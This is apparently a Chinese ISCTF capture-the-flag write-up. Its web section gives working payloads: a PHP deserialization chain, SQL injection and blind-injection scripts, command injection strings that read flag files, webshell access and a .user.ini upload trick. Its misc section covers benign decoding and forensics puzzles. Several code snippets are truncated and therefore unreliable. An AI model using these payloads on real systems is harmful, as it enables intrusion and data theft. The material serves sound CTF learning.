ISCTF wp

web

圣杯战争

题目源码

 ";
        return $this->excalibuer->arrow;
    }
}
 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!
"; return $functioin(); } } class saber{ public $weapon; public function __invoke(){ echo "胜利!
"; include($this->weapon); } } class summon{ public $Saber; public $Rider; public function __wakeup(){ echo "开始召唤从者!
"; echo $this->Saber; } } if(isset($_GET['payload'])){ unserialize($_GET['payload']); } ?>

知识点:

  • __wakeup() 方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

ISCTF wp_第1张图片

  • __invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • __get()方法

获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的

  • __toString()方法

 它是在直接输出对象引用时自动调用的方法

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据

代码审计

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!
";
        return $this->excalibuer->arrow;  //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()

 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;//将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!
";
        return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!
";
        include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }

class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!
";
        echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo

用php伪协议构造

payload

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

解密即可得到flag

where_is_the_flag

题目

提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,

ISCTF wp_第2张图片

在这里看见

ISCTF wp_第3张图片

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

将三个flag拼接一下即可得到完整的flag

绕进你的心里

题目


通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO
 
files = {
  'file': BytesIO(b'aaa }
 
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

那我们改一下脚本,执行就得到了flag

payload

import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

打开题目

尝试用admin/admin登录

ISCTF wp_第4张图片

发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格

1' oorrder%09by%091#

ISCTF wp_第5张图片

爆数据库名

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)

爆表名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))

爆字段名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))

发现不能全部显示出来

知识点:

substring方法

是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符

具体用法见博客:

substring()方法-CSDN博客

爆表名payload,需要改变后substring两个的参数来拼接

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

经过尝试发现flag在password字段里

payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))

得到flag

wafr

题目

用post传参

payload:

code=system("strings /f*")
 

ez_ini

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

ISCTF wp_第6张图片

然后上传能直接有flag

web_include

ISCTF wp_第7张图片

用dirsearch扫描一下看看是不是源码泄露

发现了flag.php,index.bak

访问index.bak下载打开,得到

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i           const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i           txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本

#include
#include
 
int main()
{
    char b[100]="dxdydxdudxdtdxeadxekdxea";
    for(int j=0;j<2;j++){
        int tmp1=0,tmp2=0,sum=0,f=0;
        //printf("%d\n",strlen(b));
        for(int i=0;i             int tmp=(int)(b[i]-97);
            f++;
            if(i%2==0){
                tmp1=tmp*26;
                //printf("%d ",tmp1);
            }
            if(i%2!=0){
                tmp2=tmp;
                //printf("%d ",tmp2);
            }
            if(f==2){
                printf("%c",tmp1+tmp2);
                //printf("%d\n",sum);
                sum++;
                tmp1=0;
                tmp2=0;
                f=0;
            }
    }
    //printf("%d",sum);
    }
    return 0;
}

用伪协议构造payload即可

payload

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

题目

|\,|\?|jay/i", $_GET['file'])){  
    die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

1z_Ssql

用脚本跑一下

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            #爆库名
            payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)
            #爆表名
            #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)
            #爆字段
            #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)
            #payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})
            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

 爆了bthcls的库

再看看当时给的附件

ISCTF wp_第8张图片

ISCTF wp_第9张图片

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

直接admin/we1come7o1sctf登录

获得flag

ISCTF wp_第10张图片

misc

你说爱我,尊嘟假嘟

打开文件

ISCTF wp_第11张图片

联想到ook编码

替换为

你说爱我  Ook.
尊嘟  Ook!
假嘟  Ook?

也可以利用脚本进行替换(这是网上找的师傅的脚本)

def convert_string(input_str):
    # 定义转换映射关系
    mapping = {
        "你说爱我": "Ook.",
        "尊嘟": "Ook!",
        "假嘟": "Ook?"
    }
 
    # 遍历字符串,进行转换
    for key, value in mapping.items():
        input_str = input_str.replace(key, value)
 
    return input_str
 
 
# 测试示例
a = "你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我"
converted_str = convert_string(a)
print(converted_str)

然后解密即可得到flag

ISCTF wp_第12张图片

小蓝鲨的秘密

打开题目

ISCTF wp_第13张图片

用010打开,怀疑是伪加密

ISCTF wp_第14张图片

将两处

14 00 09 00

替换成

 14 00 00 00

即可打开

打开flag.txt

图片调整高和宽度

ISCTF wp_第15张图片

出现key值

key:15CTF2023

AES解密一下即可得到flag

ISCTF wp_第16张图片

杰伦可是流量明星

用binwalk分离一下得到

ISCTF wp_第17张图片

打开流量包

直接筛选http协议,搜寻flag得到

ISCTF wp_第18张图片

url解码一下得到flag

flag{wddhr836459_83}

easy_zip

打开附件,直接用ziperello爆破一下密码看看

ISCTF wp_第19张图片

得到六位数字的密码

直接打开就得到flag

蓝鲨的福利

用010打开

是png文件缺少文件头

插入字节补上89 50 4E 47文件头

ISCTF wp_第20张图片

旋转图片就得到了flag

ISCTF wp_第21张图片

小白小黑

打开文件

看师傅的做法是缩放到最小就隐约看到有二维码

我的缩放(好像不是那么明显。。。)

ISCTF wp_第22张图片

借用大佬的吧

ISCTF wp_第23张图片

然后复制颜色较深处数据 发现都是45678 那么将其替换为1 其余替换为0

然后转码扫码

01239转1

45678转0

有脚本,就试试脚本

from PIL import Image

strings = open('output_without_newlines.txt','r').read()
print(strings)
pic = Image.new("RGB",(256,256))
num = 0
for x in range(256):
    for y in range(256):
        if strings[num] == '1':
            pic.putpixel((x,y),(0,0,0))
        else:
            pic.putpixel((x,y),(255,255,255))
        num = num + 1

pic.show()


save_path = "./output.png"  # 图片保存路径,可以根据需要修改文件名和格式
pic.save(save_path)
print("图片已保存到当前路径: ", save_path)

得到二维码,扫码即可得到flag

(我自己得到的二维码是个歪的。。)

ISCTF wp_第24张图片

ISCTF wp_第25张图片

EZcrc

打开题目,里面的文件只有一部分是汉字

ISCTF wp_第26张图片

因为文件的原始大小都是3,所以这里用的是3字节的脚本(脚本用的是大佬的)

import zipfile
import binascii
import string
from tqdm import tqdm
 
fname_fcrc = {}
fcrc_fnames = {}
fcrc_value = {}
 
archive = zipfile.ZipFile("C:/Users/Lucian/Downloads/flag.zip")
print('正在提取crc:')
for fname in tqdm(archive.namelist()):
    name_info = archive.getinfo(fname)
    fcrc = name_info.CRC
    fname_fcrc[fname] = fcrc
    fcrc_fnames[fcrc] = []
 
for fname in fname_fcrc:
    fcrc = fname_fcrc[fname]
    fcrc_fnames[fcrc].append(fname)
 
print('正在破解3字节长crc')
for i in tqdm(range(0, 256)):
    tempi = hex(i)[2:]
    if len(tempi) == 1:
        tempi = '0' + tempi
    tempi = binascii.a2b_hex(tempi)
 
    for j in range(0, 256):
        tempj = hex(j)[2:]
        if len(tempj) == 1:
            tempj = '0' + tempj
        tempj = binascii.a2b_hex(tempj)
 
        for k in range(0, 256):
            tempk = hex(k)[2:]
            if len(tempk) == 1:
                tempk = '0' + tempk
            tempk = binascii.a2b_hex(tempk)
 
            fcrc = binascii.crc32(tempi + tempj + tempk)
            if fcrc in fcrc_fnames:
                fcrc_value[fcrc] = tempi + tempj + tempk
 
print(f'总crc个数:{len(fcrc_fnames)},破解成功个数:{len(fcrc_value)}')
 
result = {}
print('正在将结果编码:')
for fcrc in tqdm(fcrc_value):
    for fname in fcrc_fnames[fcrc]:
        result[fname] = fcrc_value[fcrc].decode()
 
print('编码结果:')
for i in range(0, len(result)):
    print(result[f'{i}.txt'], end='')

跑出来的结果

ISCTF wp_第27张图片

